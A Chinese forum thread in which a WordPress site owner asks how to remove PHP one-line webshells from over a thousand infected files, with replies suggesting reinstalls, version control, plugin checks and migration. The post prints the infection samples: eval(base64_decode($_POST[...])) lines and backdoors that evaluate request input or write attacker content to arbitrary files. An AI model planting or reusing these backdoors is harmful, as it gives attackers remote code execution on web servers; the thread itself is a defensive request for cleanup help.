网站文件里有上千个文件被感染一句话木马，怎么能彻底清除干净？

[54dev]

eval(base64_decode($_POST['n071238']));
eval(base64_decode($_POST['n642afe']));
eval(base64_decode($_POST['n6ae4d5']));
eval(base64_decode($_POST['n78cd5a']));
eval('$v_result = '.$p_option s[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
$ogygd = "42bd6c187118582ea3e338a599a329b1"; if(isset($_REQUEST['mpwr '])) { $dsir = $_REQUEST['mpwr']; eval($dsir); exit(); } if(isset($_REQUEST['tsyuw'])) { $tkirx = $_REQUEST['rvlzlo']; $jouyl = $_REQUEST['tsyuw']; $zofhgl = fopen($jouyl, 'w'); $zkvv = fwri te($zofhgl, $tkirx); fclose($zofhgl); echo $zkvv; exit(); }

$njhg = "63e9ac921222afbfe0f8cb60c5bc3069"; if(isset($_REQUEST['kdrmaio'])) { $tbrnlbk = $_REQUEST['kdrmaio']; eval($tbrnlbk); exit(); } if(isset($_REQUEST['xcjvv'])) { $tue ezzz = $_REQUEST['sjkkv']; $sjamlr = $_REQUEST['xcjvv']; $wtjfqlol = fopen($sjamlr, 'w'); $jfcn k = fwrite($wtjfqlol, $tueezzz); fclose($wtjfqlol); echo $jfcnk; exit(); }
$krglis = "b95e94407a784c065429334b68ee7bd0"; if(isset($_REQUEST[' jbpvxunm'])) { $ityq = $_REQUEST['jbpvxunm']; eval($ityq); exit(); } if(isset($_REQUEST['xsqgzp w'])) { $jqxnuchk = $_REQUEST['qmpl']; $jzwlh = $_REQUEST['xsqgzpw']; $kyiiqzo = fopen($jzwlh, 'w'); $ollxbik = fwrite($kyiiqzo, $jqxnuchk); fclose($kyiiqzo); echo $ollxbik; exit(); }



网站是wordpress

[ihacku]

http://zhanzhang.anquan.org/

[john990]

@akfish 同意，版本控制最方便，本地一份服务器一份，有问题想怎么恢复就怎么恢复

[msg7086]

先重装系统吧…然后再慢慢手动杀…

[Havee]

曾今遇到过，排查了后发现是某地图插件引起的，在所有php文件头插入base64_decode，卸载后一切正常
楼主也试试排除下插件

[jedihy]

这事小时候干过，看到一句话这三个字的时候还有点小激动。批量替换吧

[54dev]

@RemRain C:是什么东西 ，异物乱入：）


我已经重装过系统啦，重装后又被干，现在我想的办法是把WP里的数据导出来，然后导入到一个全新的WP里。


@Havee 这不是插件这么简单的问题，vps上好几个站都被感染了
@ihacku 他们会把我的站列为风险高，建议不要浏览的。